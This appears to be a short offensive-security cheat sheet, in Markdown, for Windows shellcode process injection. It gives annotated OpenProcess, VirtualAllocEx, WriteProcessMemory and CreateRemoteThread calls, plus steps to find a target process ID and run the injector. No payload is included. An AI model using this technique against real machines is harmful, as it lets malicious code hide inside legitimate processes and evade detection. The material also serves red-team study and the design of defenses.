56 lines
1.2 KiB
Markdown
56 lines
1.2 KiB
Markdown
# Process Injection
|
|
|
|
## Shellcode injection
|
|
|
|
* Open a process
|
|
```sh
|
|
processHandle = OpenProcess(
|
|
PROCESS_ALL_ACCESS, // Defines access rights
|
|
FALSE, // Target handle will not be inhereted
|
|
DWORD(atoi(argv[1])) // Local process supplied by command-line arguments
|
|
);
|
|
```
|
|
|
|
* Allocate memory
|
|
```sh
|
|
remoteBuffer = VirtualAllocEx(
|
|
processHandle, // Opened target process
|
|
NULL,
|
|
sizeof shellcode, // Region size of memory allocation
|
|
(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
|
|
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
|
|
);
|
|
```
|
|
|
|
* Write shellcode to memory allocated
|
|
```sh
|
|
WriteProcessMemory(
|
|
processHandle, // Opened target process
|
|
remoteBuffer, // Allocated memory region
|
|
shellcode, // Data to write
|
|
sizeof shellcode, // byte size of data
|
|
NULL
|
|
);
|
|
```
|
|
|
|
* Execute shellcode inside a created thread
|
|
```sh
|
|
remoteThread = CreateRemoteThread(
|
|
processHandle, // Opened target process
|
|
NULL,
|
|
0, // Default size of the stack
|
|
(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread
|
|
NULL,
|
|
0, // Ran immediately after creation
|
|
NULL
|
|
);
|
|
```
|
|
|
|
* Compile
|
|
* Check processes via
|
|
```sh
|
|
Get-Process -IncludeUserName
|
|
```
|
|
* Run on process ID as argv1
|
|
|